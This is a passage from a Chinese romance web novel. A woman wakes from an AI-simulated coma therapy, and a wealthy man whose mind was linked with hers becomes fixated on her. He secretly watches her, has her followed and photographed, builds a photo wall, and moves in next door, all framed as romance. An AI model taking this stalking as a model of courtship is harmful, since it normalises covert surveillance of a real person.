望着病床上虚弱的侄女,伯母擦去了她脑门上的汗珠,眼眶红通通的:“诶,你从楼梯掉下来,昏迷了整整一个半月,可算醒了。没事了啊,等医生过来给你做个检查。” 她居然回到了现实世界。 李棠梨大脑一片空白地被送入CT室,她一时不知道如何反应,只剩下了一个念头—— 这究竟是怎么一回事? * “您的意思是,所谓的系统、任务,都是AI为了刺激我的神经,创建出的虚拟世界? 李棠梨失魂落魄地望着病床上方那个头盔造型的复杂装置。 它表面呈现出银色的金属光泽,就是这个装置带她沉浸式地“穿越”。后脑处,几根手指粗细的电线连接到一旁的高大仪器上,时刻监测着她脑电波、心率等生理指标。 干练的刘医生点头说:“可以这么理解。这是最前沿的实验性技术,根据个体差异,AI生成的任务与场景都是不同的。 前两个疗程中你的情况进一步恶化,第三个疗程我们优化了系统,模拟出高度贴合现实的环境,并减少了AI的过多干预。监测到你的神经反应逐步恢复到稳定的状态,才强制唤醒了你。” 怪不得张梅婷和妈妈几乎是一个模子里刻出来的,原来一切都有迹可循。 她不死心地问:“一切都只是一场梦,包括任务里的……某个人?” “是的。”刘医生推了推眼镜。她发现了李棠梨的难以接受,补充了几句。 “大部分成功醒来的患者都会产生戒断反应,这是很正常的。由于技术局限,我们当前无法监测到AI在大脑中生成的具体场景,但请你记住,你遇到的人物都是虚假的,就像是游戏里的npc一样。” 他是npc?怎么可能?李棠梨紧攥着病床一侧的护栏,指节死白。 她抗拒地摇了摇头,情绪隐约失控:“他太真实了,我不相信那都是假的!” 刘医生冷静地反问:“那么,李小姐,他的名字叫什么?你现在还能记起来多少关于他的具体细节吗?” “他叫……!” 不。 李棠梨惊恐万状地发现,她想不起来了。再努力,也想不起来他叫什么了。 她呆在原地,就连男人的五官也被模糊成了一团斑驳的色块,像是海面上一簇泡沫般逸散在了水里,她慌乱地用手去捞,回忆从指缝里传过,一滴不剩。 女孩低下了头,无助地捂住了发红的眼睛。一直表现得专业而理智的刘医生安抚地拍了拍她抽动的肩膀。 “不要太难过了。你很快就会忘干净的,戒断反应将会在未来一个月内逐渐减轻。” 她说话时,身后的年轻治疗师怜悯地看 着情绪崩溃的李棠梨,欲言又止。 等两人走出病房,她于心不忍地说:“老师,她真的很伤心。” “小舒,”刘医生步伐未停,“你要知道,和她意识接入的另一位患者仍然处在昏迷状态,这属于患者隐私,我们无权透露。即使再伤心,她很快会忘得一干二净。虚拟世界只是虚拟,难道我们还没有吃透教训吗?” 小舒沉默了。 没错,刘医生隐瞒了实情。和其他患者不同,李棠梨是特殊的,她和另外一个人的意识被接通到了同一个虚拟世界里。 在成功率仅为万分之一的情况下,他们奇迹般完成匹配,建立了稳定的连接。 两年前,这项名为协同神经激活的技术首次成功苏醒了一对昏迷的患者,并公开了双方的身份。 但后续追踪显示,尽管他们在虚拟环境里如胶似漆,回归现实后却因种种原因而导致分道扬镳。 其中一人无法接受现实和模拟中巨大的落差,对团队提起了法律诉讼。 为避免类似情况的再度发生,他们设立了严格的记忆限制条例。 而李棠梨和顾峙作为这项新技术的第二对使用者,关于虚拟世界的记忆都将在几天内被迅速淡忘,除非在特殊情况下受到刺激才会恢复。 正如刘医生所推测的那样,原本郁郁寡欢的李棠梨状态一天比一天更好。 过了一周再来复查,提起任务两个字,她甚至还反应了一会儿,好像那是五年前发生的事。 得知李棠梨苏醒的消息,几个朋友陆陆续续来医院探望。 这天,一个年轻男人踏入了病房,李棠梨微笑着和他打招呼:“宇哥。” 曹长宇把果篮放在了桌上,拉开椅子坐下:“我前两天加班,一直没时间来。你感觉怎么样?” 曹长宇比她大两岁,曾是对门的邻居。上初中时,曹家经济条件改善,搬离了那个老小区。两家人时不时还有联系,后来他们又在同一所高中念的书。 母亲身患重症时,曹家还应急借了一万块钱。李棠梨感激他们的雪中送炭,她友善地说:“你实习要紧。我现在情况已经稳定了,医生说下礼拜就能出院。” 正说着话,她突然感觉后背凉飕飕的,仿佛有条冰冷的乌梢蛇顺着背脊攀沿而上。 她不自在地摸了摸汗毛竖起的脖颈,似曾相识的感觉令她往门外望去。 空荡荡的,什么人也没有。 只是错觉吧,她想。 李棠梨不知道,时间溯洄到几天前,只和她相差了一天,同一栋楼第16层的单人病房中,有位患者迟迟睁开了眼睛。 当刘医生匆匆迈进病房时,男人静静地半坐在床上。他侧过脸,凝望着窗外掠过的飞鸟出神。 刘医生清了清嗓子:“顾先生。” 男人朝她回过头,刘医生的话停在了嘴边。 他在平静地落泪。 顾峙自己也颇为困惑。他抬起手,触摸到脸上温热的液体,指腹沾染了水光。 胸口闷痛,宛如一截被蛀空的朽木。他的一部分血肉被从身体里剥离了出去,扔在了天际之外。 他面无表情,泪水却不住地流:“我好像忘记了什么很重要的人。” * 关于这莫名其妙的泪水,刘医生的解释是情感刺激与生理反射。 解释康复技术时,她暗自观察,提起任务、系统等,顾峙神色很淡地说:“我没有任何印象。” 刘医生叹了一口气,这勾起了她不好的回忆。这位患者在刚送来时,就展露出了极度难缠的特质。 他的心理防御机制过强,对AI伪装的“系统”、“任务”等说辞毫无信任。眼看昏迷时间马上就要超过两个月,无计可施的团队使用了尚不成熟的协同技术。 由于只能在同样昏迷的患者中进行随机匹配,且条件极为严苛,他始终未产生任何响应。 就在所有人都不抱任何期待时,经过两个疗程但治疗状况不佳的李小姐加入了进来,一瞬间,他就对她产生了连接,使得治疗顺利推进了下去。 不知道为什么,顾先生要比那位李小姐晚了整整一天,几乎是在醒来的刹那,他关于虚拟世界的记忆就全数消失了。 刘医生想,也算是一桩好事。 由于卧床了一段时间,顾峙暂时无法正常行走。第三天,顾淑凤推着坐在轮椅上的他到楼下晒太阳,聊起他车祸后发生的事。 “……语琴呢,前几天高烧了一场。知道你醒了,烧一下就退了。嘉誉也老吵着说来见舅舅。” 纪嘉誉。 顾峙捉摸着这个名字,心头冒出一阵不快。 这是为什么?他皱起眉,觉得古怪。外甥才十岁,有什么事儿值得跟个小孩计较的? 顾淑凤温和地说:“公司这边你不用着急,我先照看着,别急于一时。把身体养好了,随时能回来。” “嗯。”顾峙低声说:“这些天辛苦你了,姐。” “别说见外的话,平平安安就是福。” 顾淑凤拨了一下弟弟微长的发尾,感慨其命运多舛。十八岁那年出了一场车祸,二十八岁这年又赶上了刹车失灵。万幸八字硬,两次都死里逃生。 姐弟俩沐浴在温暖的日光下,默契地没有说话,享受着难得的恬静时光。 顾峙闭目养了一会儿神,慵懒地掀起被晒得滚烫的眼皮。 他睁开眼之前,绝不会想到,就是在这样一个平常的午后,她会以一种强势的、横暴的态度径直闯入了他的世界,不容他有任何的拒绝,轻易摧毁了他那些冷静与镇定。 当她出现在视野中心的一刹那,整个世界都慢了下来。 那是一个也坐在轮椅上的女孩他的角度只能瞥见她半张脸。 她在看书。顾峙想,阳光下看书会损坏视力,没人教过她吗? 女孩脖颈低垂着,如同盛满露水而弯下的花梗。她一只手压住书页,另一只手将那些扰人的碎发往后撩去,轻轻咬着唇。简简单单的动作,他看得几近痴迷,皮肤焦渴地发烫。 她像是吸铁石一样吸着他的眼睛。前方哪怕是悬崖峭壁,他也要跳下去,谁也拉不住。 仿佛有一只蝴蝶落在他的鼻梁上,他小心翼翼地屏息,生怕惊飞了她。 她是谁?她叫什么名字?她多大了?她生了什么病?她的家里人在哪儿,为什么只留她一个人在这儿?她……是否有男朋友? 第54章 他为什么下意识认定她已…… 顾淑凤叫了弟弟几声,却见他直勾勾盯瞧着一个方向,她望过去,触及那个平平无奇的女孩,自己也莫名愣了一下。 之前见过吗?有点眼熟。 “你认识?” “嗯?”顾峙心不在焉地应了一声。 隔天早晨,女孩的资料就被摆在了他的床头。 她叫李棠梨。指腹情不自禁地摩挲着这三个字,默念了一声,这名字带着一股电流,游走遍他的全身。 三个字熟悉得像是说过千万遍,他又念了一遍。 从这天起,顾峙添了一个难言之隐,一个极不道德的癖好——在暗处偷窥一个和他素不相识的女孩。 短短三天,他摸出了李棠梨每天的行动轨迹。 她七点半左右起床,九点多时由伯母陪同到楼下活动一个小时。周末,则有一些亲戚朋友来医院探望。 在上午放风的一个小时内,她看书,和伯母闲聊,与路过的相识的病友打招呼。更多时候,只是仰脸晒太阳。 太阳暖洋洋地照着她,可奇怪的是,李棠梨偶然生出异样,她敏感地感受到,落在她身上的不仅仅是阳光,还有两道更为炙热的视线。 可她四顾一周,并没有发现可疑的人。 她不知道,那个惹得她不自在的偷窥者藏在高层的特需病房。从她现身到回去,他可以一动不动地在窗边坐满这短暂的一个小时。 等身体状况稳定一点,顾峙就干脆去下面候着,便于就近看她。 这成 了他每日定时定点的任务,别的都要让步,谁也不能打断他们共处的宝贵时间。哪怕是家人来了,他也会不动声色地引到楼下说。 顾峙相貌端正,即使坐在轮椅上,也显得鹤立鸡群。于是,他停在边角的一颗树下,尽量不引起注意。 现在还不是正式见面的时候。两个月的卧床使他掉了不少肌肉,人也病怏怏的,无法下地行走,模样很不得体。他不想给她留下任何坏印象。 他隐藏的不错,唯独有一次,李棠梨的书落在了长椅上,折返取回,两人迎面撞上。 在她对视的那一秒,顾峙的心陡然一颤,撇开了头。李棠梨怔了怔,目光在他身上停留了一会儿,礼貌地挪开了。 擦肩而过时,女孩的发尾捎来浅淡的香气。顾峙的手指动了动,他掐着点数,她一共看了他四秒。 电梯平稳上升,光滑的镜子里的倒映出他一派平静的脸。 顾峙望着这个貌似正常的人,心想,他大概是疯了。如果是患上了精神疾病,至少可以寻医问诊。 可面对李棠梨呢? 她和随处可见的小草似的,并不起眼,可一遇上她,他就只能眼睁睁看着理智土崩瓦解。 心动来得如此迅猛,他快淹死在这澎湃的情愫里,却甘之如饴。哪怕李棠梨至今不清楚这个要因她淹死的人是谁,她甚至只朝他远远地望过一眼。 顾峙极力忍耐着日益膨胀的感情,他积极配合医生复建、着手处理公司部分事务,好让脑子歇一歇。 可周末太难熬了。她周六整整一天没有出来,周日上午,楼下的顾峙依然没有等到她。 他无法忍耐了,说服自己只是去确定一下情况。于是,他第一次踏足了她所在的楼层。假装不经意地路过那间病房,不看不要紧,一看,俊脸就沉了下来。 那个坐在她床边的男人是谁? 他面沉如水,眼睛抛出寒光,扎在那个男人身上。 李小姐在敷衍他,他看不出来吗? 一点边界感都没有,不知道她是有夫之妇,已经结…… 思绪倏地卡滞了一下,他怕被李棠梨察觉,迅速离开了这里。 他翻出那几页调查出的详细资料,再次仔细核实,没错,是单身。 但他为什么会抵触这个事实,甚至下意识认定她已婚? 这太违背常理了。况且,和她结婚的那个人又应该是谁?想到其他男人成了她的合法丈夫,顾峙就呼吸不畅,甚为不快。 刘医生来复查时,被顾峙探究的眼神看得发毛,她问:“有什么问题吗?” 他心平气和地说:“刘医生,我的记忆似乎出现了紊乱,关于诊疗过程,你是否向我隐瞒了部分关键信息?” 刘医生捏住病历夹,扶了一把眼镜:“顾先生,这是术后常见的后遗症。不必过多担心,在一个月内症状会自然缓解。” 顾峙轻声呢喃:“是吗?” 他对于李棠梨不正常的痴迷,也是后遗症的一种吗? 视角转换到李棠梨,她确实忘的差不多了。 在醒来的第三周,确定各项指标恢复良好后,她办理了出院手续。 伯母帮她垫付了手术费和住院押金的大头,李棠梨拿着出事后厂子打给的赔偿金要还她,伯母却推拖着不肯收。 而且,她还另外提起一桩事,原来李棠梨醒后未结清的手术费用和住院费都已经付清了,但她完全不晓得是谁。 问李棠梨,她惊讶地眨了眨眼睛,也毫无头绪。她十分遗憾不能当面道谢,只好在心里感激那位做好事不留名的好心人,祝他身体健康。 刚出院,李棠梨把之前的工作给辞了,她心有余悸,打算休息一段时间,将底子调养好了再说。 抓紧这段闲暇时光温习课本,她意外发现自己对知识点的掌握简直称得上是突飞猛进。很多以前卡住的难点现在理解透彻,做题迎刃而解。 她赶紧做了几套卷子测试,经过批阅,笔尖颤抖着写下了分数。 几张卷子并排,分数老老实实摆在眼前。李棠梨呆滞地想,难道她这一摔,反而摔开窍了? 如果是这样,或许明年6月份她可以试试。 李棠梨高兴极了,心里一松,疲惫也涌漫上来。做了整整一天的卷子,她揉了揉眼睛,突然发现屋内光线有些发暗。 习惯性要去将台灯调亮一点,摸索到开关,才记起家里是老式台灯,根本无法调节亮度。 她恍惚地收回手,为什么下意识觉得可以调节呢? 想不通,若有所思地望着那盏台灯,难道又是刘医生所说的手术后遗症? * “棠梨,你确定要吗?我这都是三年前的笔记了,不知道和现在的考点有没有出入。” 曹长宇将圆桌上的几本笔记推给对面的女孩。 李棠梨拿到手里,翻看了两眼,放入包里。她摇摇头说:“没有的事,我还要麻烦你回家特意帮我翻出来。” “你这是要自学?” “是,打算明年高考碰碰运气。” “行,有问题你跟哥说,我能帮则帮。” 曹长宇高中时成绩优异,顺利考入省内顶尖的985大学,所以她想借阅一下他的笔记。 不过因为他加班严重,抽不出空隙专门去送,索性约李棠梨今天到这间咖啡厅,恰好挨着他工作的写字楼,下午偷溜出来会面。 他喝了一口冰美式,被苦得皱着脸:“我妈昨天还说起你了。你看着还挺精神,出院多久了?” “一个多月了,现在身体没什么事了。” 两个人寒暄几句,曹长宇怕被主管逮到,正打算回公司,碰巧有人推开了咖啡厅的门。 他回头一看,顿时站起了身。 “怎么了?” 李棠梨不解地探出头,还没看清,曹长宇就转过身,结结实实挡住了那个人影。 他一脸激动地压低声音说:“这可是荣星的总裁,顾总!我们学校的杰出校友。去年一次性捐赠了十个亿,被邀请回母校参观,我还作为校报记者采访了他呢!” 这么厉害? 她望过去,单是一个背影,就能看出男人身形挺拔、气质优渥。 李棠梨看得走了神,心口怦然一跳,还未作出更多反应,那人像是感受到了背后的视线,掉过了身。 眼皮一跳,慌乱地瞥开眼,逃避他的追踪。 她脸皮发烫,自己今天犯浑了,怎么盯着人家看个不停? 但那人不肯罢休,啪嗒啪嗒,迈着步子走过来。莫名的,即使不去看,她也知道那锃亮的皮鞋尖对准了她,朝着她轰然进发。 这双鞋却在快要抵达她时,突然停住了两步的距离。 李棠梨指头焦灼地卷着衣角,她听见男人低沉醇厚的嗓音,宛如入口饱满而浓郁的红酒,温柔地钻入耳膜。 “你是A大的……曹长宇同学?” 被点到名的曹长宇受宠若惊地与他握手:“对对,我就是去年采访您的校报记者,没想到您还记得我的名字。” 顾峙颔首:“当然,你令人印象深刻。” 紧接着,他扫了一眼李棠梨,略带歉意地说:“我打扰你们约会了?” “啊,不是不是,你误会了,”曹长宇解释说,“这是我一个朋友。” 顾峙自然地转过身,视线落在垂着头的女孩身上。 这下,李棠梨完全暴露在了他的视野里,避无可避。 他说:“你好,这位……” 李棠梨赶忙撑着桌子站起身,朝他说:“我姓李,李棠梨。” “哦,李小姐。” 男人原本戴着一双黑色的手套,他一边说着,一边慢条斯理将手套脱下,露出一只修长而白皙的手。 他把这只手递到她身前:“我叫顾峙。” 盯着这只大手,李棠梨嗓子发干,不知是何原因,没有立即回握。在他耐心地等待了两秒后,女孩终于抬起胳膊,握住了他的手。 她小声说:“顾先生,你好。” 甫一相触,她就被包裹在了他宽大而温热的手心里,许多片段如水下波纹般在她的脑海浮现,可只是一个眨眼的 功夫,他就绅士地放开了她,那些片段也随之消失。 然而就在他的指尖撤离时,她的掌心忽地一痒。 她如同触电,迅速抽回那只手,不可置信地望着这个斯文而英俊的男人,脸颊染上红意。 ……他刚刚在勾她的手心? 第55章 密密麻麻的照片墙 她碍于性格腼腆,只抬头匆匆瞥了他一眼,这会儿,手心的酥麻感蹿弄得她耳热,她不得不从蜗牛壳爬出来,惊疑不定地看着这位曹长宇口中的成功人士。 顾峙呢,坦然地任她瞧。 他显然是那种深知自己外貌出众的男人,并不惮于加以利用。 浓密的黑发往脑后梳去,清冽的五官没有任何遮挡。以至于她的视线逡巡着,渐渐就变了味道。 他刚刚现身咖啡馆时,虽然没有看到正脸,但周身弥漫的气质介于淡漠与傲慢之间,是常年身居高位的人才有的。 可这会儿,他掀起长长的眼睫,高耸的眉弓下,铅灰色的眼睛像诱饵,李棠梨被蛊惑得毫无招架之力,勾着与他对视了老久。 几秒后,顾峙忽地轻咳了一声,声音里带着不易察觉的笑意:“李小姐,我脸上有什么东西吗?” “啊?”李棠梨本能地后撤了半步,受惊地把眼睛甩到瓷砖上:“没什么,我……” 她羞窘得连颈项都红了,借口说:“我去趟卫生间。” 李棠梨走得匆忙,包还放座位上。曹长宇倒不好直接离开了。顾峙看出他的焦虑,贴心地问:“你有急事?” 曹长宇摸了摸后脑勺,不好意思地说:“其实我是从公司偷溜出来的。” 闻言,顾峙分外善解人意地说:“你先回去吧。李小姐这里我可以帮忙照看。” 赶紧走。 “真的吗?那太谢谢你了顾总。” 曹长宇往回赶,他越走越觉得怪异。顾峙这么大的总裁,想喝个咖啡还用得着亲自来买?而且,他还和棠梨主动打招呼,帮忙照看财物,原来他是这么好心肠的人吗? 看来是面冷心热,和去年他采访时的模样不太一样呢。 面冷心热的顾峙顺理成章地取代他,落座在李棠梨对面。 他一只手攥着手套,另一只握过她的手则端正地放在膝头。 他不太想用回味这个词,未免太下作,但实际如此。她的手很软、很细,比他要小一码,体温偏低。 作为一种基本的社交礼仪,顾峙曾经握过形形色色的人的手,男女老少,但没有一次他的心跳会这么剧烈,咚、咚,他一度担心李棠梨也会听到。 除此之外,在指尖相触时,眼前浮光掠影般闪现了一些记忆,这令他有些在意。 卫生间里,李棠梨捧起水流,洗了一把脸。 墙上镜映出她白里透红的腮颊。她受不了地垂下眼,用卫生纸擦拭掉水珠。 这个单纯的女孩还没意识到她是被别有用心的男人故意勾引了,只在心里一味责备自己今天种种鬼迷心窍的行为。 她其实也很纳闷,虽然顾先生的长相的确是难得一见的出众,但自己也不至于表现得这么……这么夸张吧? 走回座位,赫然发现原本该是曹长宇的位置上坐着姿态优雅的顾先生。他缓缓搅动着咖啡,那双害她差点当众出丑的灰色眼睛又望过来。 李棠梨手脚跟缺油卡涩的零件似的走过去,挤出一句话:“顾先生,宇哥是走了吗?” 顾峙动作一滞,勺子与杯壁发出清脆的碰撞声。 “他先回公司了。”他话题转变得很突然:“你们关系很亲近?” “嗯,我们之前是邻居,后来他们家搬走了。” 他沉沉地说:“哦,这样。” 李棠梨不敢去细看顾峙的表情,生怕又被吸引过去。她侧坐在椅子上,往包里收拾东西。 拉上拉链,确认没有遗漏后,起身将椅子推回去,跟男人告辞:“谢谢您帮我看着包。时间不早了,我该走了。” 察觉到女孩的抵触,顾峙没有亦步亦趋地追出去送。视线代他克制地紧随着她的身影。 是他太心急了、太明显了吗? 对面的座位空荡荡的,只剩一杯冰美式。她似乎很少喝咖啡,跟着别人盲选了一杯。可惜不太合她的口味,只喝了两口,就接受无能地不肯再碰了。 不喜欢苦味么? 杯口沾着浅粉的唇印,那是她留下的纹路。他联想到她小巧的、木讷的嘴唇,米粒一样排列的牙齿,怎样柔软地含咬住杯口,被深色的咖啡液浸湿,神思就抛到了千里之外。 他静静地盯着那个唇印瞧。 渴望战胜了羞耻心,西装革履的男人交叠起双腿,伸手将她的咖啡拿了过来。 坐在行驶回老宅的车上,顾峙止不住犯困。这是很不符合常理的,他刚喝过两杯咖啡。 可凶猛的困意席卷了全身,等车子停住了五分钟后,他才摆脱了梦境。走进别墅,看见客厅里的家人,神情还有些恍惚。 “姐。” 顾淑凤面色不虞地把手中的照片甩到茶几上:“回来的挺早,赶巧了,来,解释一下吧。” 扫了一眼,顾峙面色骤冷:“你进我房间了?” 顾淑凤气不打一处来:“你还有脸说?要不是纪嘉誉今天犯皮闯进去,我还不知道你雇人跟踪那个小姑娘!什么时候开始的?” 这个年纪的小孩闹起脾气比猪还难捉,她一路跟着儿子跑进弟弟的房间,刚把他摁住,一抬头,头皮猝然一麻。 满墙密密麻麻的照片,都是同一个女孩。 因为数量太多,边角压着边角,看得人心惊不已。按照时间线,照片从左到右细心地钉在墙上。 最左,一张梳着马尾的童年照,接着,是住院期间,女孩穿着病号服散步、去食堂吃饭、和亲戚朋友见面。 出院后,照片更是到了无孔不入的地步,她被框在几扇窄窄的窗户里,事无巨细地记录着她的日常生活。 她起床后歪着头刷牙,她在超市仔细地拣选土豆,她和朋友见面时的笑意,她遇到难题转笔的小动作。 最后一张,是夜深时分,李棠梨拉上了窗帘,灯光将她的身形朦胧地投射在窗帘上。照片右下脚标注的时间是昨天晚上八点。 望着这面照片墙,一个文静女孩鲜活地在她眼前展开,顾淑凤却感到毛骨悚然。 这面墙正对着顾峙的床,他每晚是抱着什么不可见人的心思入睡的? 顾峙的目光凉飕飕地甩过去,他看纪嘉誉越发不顺眼了。 在车上,他做了一个怪诞的梦,场景极为真实。梦里,已经成年的外甥每天和狐朋狗友鬼混,听说还和一个夜场服务生搅在一块。他正开车去酒店捉人,梦就醒了。 此时,十岁的纪嘉誉生了一张粉雕玉琢的脸,开始逐渐流露出日后的少爷秉性,他撇撇嘴,评价说:“舅舅,她不好看。” 顾峙摘下腕表:“你马上就要好看了。” 顾淑凤及时扯回正题,她手指叩了叩桌子:“你先跟我说清楚,为什么拍这些?你和人家什么关系?” 顾峙垂下头,将茶几上的照片一张张收起来。 他轻描淡写地说:“很快就会有关系了。” 顽固不化!见大姐捂着胸口顺气,顾峙缓和了语气:“我有分寸,你不用担心。” “分寸?你这样是犯法的,知不知道!你喜欢她,大可以光明正大去追。” “……我知道。”顾峙低声说,“我就是想见她。” 顾淑凤头疼地闭上眼,怀疑起这个一向清心寡欲的弟弟是不是在医院昏迷时被人掉包了。 一直没吭声的妹妹顾语琴倒是笑盈盈的,嫌事情不够大似的开口:“哥,她叫什么?我很喜欢她。” “为什么?” 顾语琴想了想:“说不上来,我和她好像很久之前就认识了。她和我应该很合得来。” “是么?” 顾峙暗自思忖,连妹妹也觉得很熟悉? * 那天刚进咖啡厅时,李棠梨就注意到门口立 着一则招工广告。 招的是兼职,一天6个小时,每周需要保证至少五天的出勤。李棠梨目前手头有微薄的积蓄,但想要支撑到明年高考还是天方夜谭,她要考虑出去工作了。 算了算月薪,她个人日常的开销很低,完全可以养活自己。 这份兼职不管是时间还是距离都很合适,但她毕竟没有经验,只在奶茶店打工过一段时间。忐忑地过去面试,当天没有回复。 李棠梨不抱希望,开始查看其他招聘信息,但四天后,对方联系她说通过了面试。大概是急缺人手,通知她尽快到岗。 工作环境幽静,除了客流高峰期,其余时间都不算太忙。李棠梨适应着这份工作,以及工作中无伤大雅的小插曲。 在上午十一点左右,正是店里最空闲的时候。门上悬挂的风铃一响,李棠梨就知道,那位顾客今天也来了。 男人走到她面前,彬彬有礼地说:“李小姐。” 是的,正是那位有过一面之缘的顾先生。 “顾先生,上午好。” 即使这段时间连续碰面,感受到他的视线,李棠梨还是有些微妙的不自在。 她已经很熟悉顾峙的偏好了。他通常点杯拿铁,坐在靠窗的位置。 上午经常只有她独自在店里,顾峙偶尔会与她闲谈两句,但多是谈论天气、心情等话题,且点到为止,不打扰她的工作。走的时候,也会和她颔首示意,进退有度。 之前那个勾她掌心的那个行为,或许真是她多心了。 轮到周六休息,李棠梨闲暇在家。她一觉睡到自然醒,刚从床上爬起来,人还犯迷糊,门外却传来了搬动家具的刺啦声。 对门的那间房子自从曹家搬走后,就没人租过了。听说房主想降价卖掉,可依然无人问津。 毕竟这里地段偏僻,外墙脱落斑驳,连电梯都没有配备,是避之不及的老小区。 这么大的动静,难道是对门来了新租户吗? 她顶着朦胧的睡眼打开门,果然,许多年未开过的对门大敞着,两个工人师傅在往里斜侧着抬沙发。 她刚要合上门,一个意想不到的声音却阻止了她:“李小姐?” 不会吧…… 穿着卡通花案睡裙的李棠梨僵硬地扭过头,只看顾峙站在台阶上,神情也颇为意外。 他的目光在她充满童趣的睡衣和微微毛躁的发丝上掠过,轻笑道:“好巧。” 第56章 真可爱,真好骗 “顾、顾先生,” 李棠梨的脑子唰一下就清醒了,她下意识开口:“早上好。” 木头似的打完招呼,她局促地关上了门,隔离了他的视线。 游魂般飘到浴室,看到镜子里的自己,李棠梨掐了一把脸。 好痛,居然是真的。 她欲哭无泪地撑着洗手台,顾峙这么有钱,怎么会租下她家对面的房子?而且,她压平翘起的发丝,望着镜子里不修边幅的模样,感到些许懊悔。 早知道收拾整齐再开门看看了…… 话虽如此,但她莫名觉得,顾峙并不会介意。 这一上午,李棠梨都心不在焉。不管是做家务还是学习,脑袋总是无意识歪到门的方向,像是在等它随时被敲响一样。 她在胡思乱想什么?李棠梨摇摇头,试图把这些奇怪的思绪一股脑倒出来。 在她终于习惯了那扇门的存在后,早有预料的敲门声姗姗来迟。 他敲门也有自己的风格,不急不忙地敲三下。等待她开门的寂静里,李棠梨好像看到他一只手抄在兜里,神情带点笃定,嘴唇扬起一个得逞的弧度。 李棠梨放下笔,有那么一瞬间,她赌气似的不想开门,但又搞不懂这股针对顾峙的小性子来源于何处。 她明知故问地问:“谁?” 一墙之隔,对方也配合着演戏:“是我,李小姐。” 李棠梨拉开门。 顾峙站在面前。 他手里拎着一个礼盒,温和地说:“我上午搬家闹出不小的动静,给楼上楼下都造成了困扰。特别是早晨吵醒了你,我很抱歉,这是我的赔礼。” “不用这么客气的。而且,我那个时候已经醒了。” 她摆摆手,话语和动作很客气,也很见外。 门扇谨慎地敞开,女孩站在门里。他扶着门框,凭借身高的优势,可以不动神色地将她狭小的客厅看个七七八八。 虽然他对李棠梨家里的陈设已经相当熟悉了,但顾峙还是不满于她的警惕心太低,随随便便就开门。但转念一想,他当然是不一样的。 顾峙微微俯身,看女孩不知所措地盯着他,他轻声说:“是我的心意,请收下吧。” “……好。谢谢您,顾先生。” 李棠梨撇过头,紧攥着门把的手在发汗。接过那个礼盒时,不免触碰到了他,冷不丁的,脑中又闪现了几个画面,可都是破碎的,她拼不起来。 上次握手的时候,好像也是这样。 她思索着走回桌前,却半路被手里包装精致的礼盒吸引了注意力。抽开绑定的绸缎蝴蝶结,分拆成上下两盒,放了小蛋糕、曲奇、马卡龙,都是各式各样的甜点。 李棠梨拿起一块曲奇,咬下,口感酥脆暖甜。就连赔礼,顾峙也送到恰到好处,直戳她的喜好。 又是巧合吗? 过了两天,她去小区对面的超市买菜。出门前,她看外面天色灰沉沉的,要下雨,就顺手拿了把伞。 家里只剩她一个人,为了图省事儿,她都是一周来超市采购一次。 妈妈离世后,李棠梨日子过得浑浑噩噩,难以从悲痛的情绪中抽离出来。她曾经很遗憾,因为在妈妈的弥留之际,她趴在床头,握着她逐渐冰凉的手,一味地哭泣与恳求,都没有来得及好好道个别。 自从在医院醒来,李棠梨通透了许多,仿佛和现实一夕之间达成了和解。想起妈妈,她依旧会伤心,但不再因此影响生活了,就像是不知道什么时候,她已经认真地跟妈妈再次道别过了。 她结完账后拎着菜走出超市大门,外面果然下起了雷阵雨。 将购物袋放在脚下,撑开伞,提起购物袋正要走。可不经意地偏过头,却见雨棚下的另一端站着一个身形挺拔修长的男人。 他低头看着手机,没有发现她。右手提着一个干瘪的袋子。看样子没有带伞,只好在这里在等雨停。 ……又是顾峙,他们总是在各种场合偶遇。 她攥了攥光滑的伞柄,不清楚这到底是有缘分,还是又一个精心布置的陷阱。 毕竟现在是对门的邻居了,昨天才刚收了人家的礼物,不帮显得太绝情了,鬼知道这雨要下到什么时候。 更何况,人家也不一定愿意和她挤在一把伞下面呢。 善良的李棠梨踌躇着开了口:“顾先生。” 男人闻言偏过头,在看到她的那一刻,浅灰的眼眸飞过一线暗光。 李棠梨听到他叹息一样的笑声:“李小姐,这么有缘?” “没有带伞吗?” “没看天气预报。” 瞥了一眼他手腕上的江诗丹顿,李棠梨把不太礼貌的疑问憋了回去。其实回头去超市买个雨伞,对他来说也不会造成什么太大经济损失吧? 等等,她怎么知道那是什么牌子的表? 李棠梨没空去细究原因,她举了举手里的伞:“你是要回家吗?不介意的话,我们可以挤一把。” 顾峙走过来:“多谢。” 因为伞下容纳着两个人,他们不得不挨得很近,即使李棠梨尽力想要保持距离,她的肩头依然时不时地摩挲着顾峙的手臂。 瞟见那个鼓囊囊的购物袋坠得她手心一道白痕,顾峙出言道:“我帮你提吧。” “不用的,”但他已经不由分手地伸过手,李棠梨只好退让地松开手:“麻烦你了。” 手心还残留着被勒麻的余韵,她握紧了那只手,没话找话地说:“顾先生,你去超市买什么了?” 顾峙说:“维修工具,燃气灶今早打不着火了,早上就没有吃饭。” “还是找天然气公司的人上门检修吧,这个很危险。” 顾峙垂下眼眸,望着她脸上露出的担心,不动声色地说:“我上午有事出门了,刚回来。现在又临近饭点,不太好找师傅,打算先自己试一试。” “这样……” 早上饿着肚子出门,是有点可怜。自己的菜还 被人家好心提着,他中午这顿饭却还没着落。 李棠梨思忖了片刻,犹豫要不要邀请他今天中午来家里做客,但是又忸怩于她和顾峙没认识多久,孤男寡女的同处一室,总觉得……会发生什么出乎意料的事。 她一时分了神,小区的过道狭窄,一辆车转弯时毫不减速,几乎是擦着她的衣角驶过。 顾峙眼疾手快地握住李棠梨的肩膀,只听到他说了一声小心,她没等反应过来,就揽到了他怀里。 轮胎溅起的水柱、沿着倾斜的伞边滚下的水珠,把李棠梨的衣物浇得身上星星点点,透出一阵冷。 偏偏顾峙是热的,她手掌下富有弹性的饱满胸膛,那条箍着她后背的手臂,喷在她脸侧的气息,把她结结实实烫了一下。 一股麻涨的感觉直追尾椎,她挣了挣,顾峙抱得好紧。 李棠梨语无伦次地说:“谢谢、顾先生,我……” 手底下的肩胛骨打颤,像只被他攥在手心的鸟,又轻又软,挣脱不开,羽毛抚着他的指缝。 顾峙闭了闭眼睛,他忍耐地松开手:“往里走一点。” “……嗯。” 头顶是扶正的雨伞,劈里啪啦的雨滴声,两个人谁也没有再开口,共享着这段沉默。 刚刚那辆没素质的车给了一个正当的理由,他们彻底贴在一起了。 顾峙的袖子似乎也是被雨水打湿了。轻薄的白衬衣下透出肉色,他那条有力的、健壮的胳膊黏着女孩与他粗细悬殊的手臂,对比明显。 热量源源不断地输送过来,李棠梨的脸热得潮红。到了空旷的场地,他们也只管蒙头往前走,没有分开。 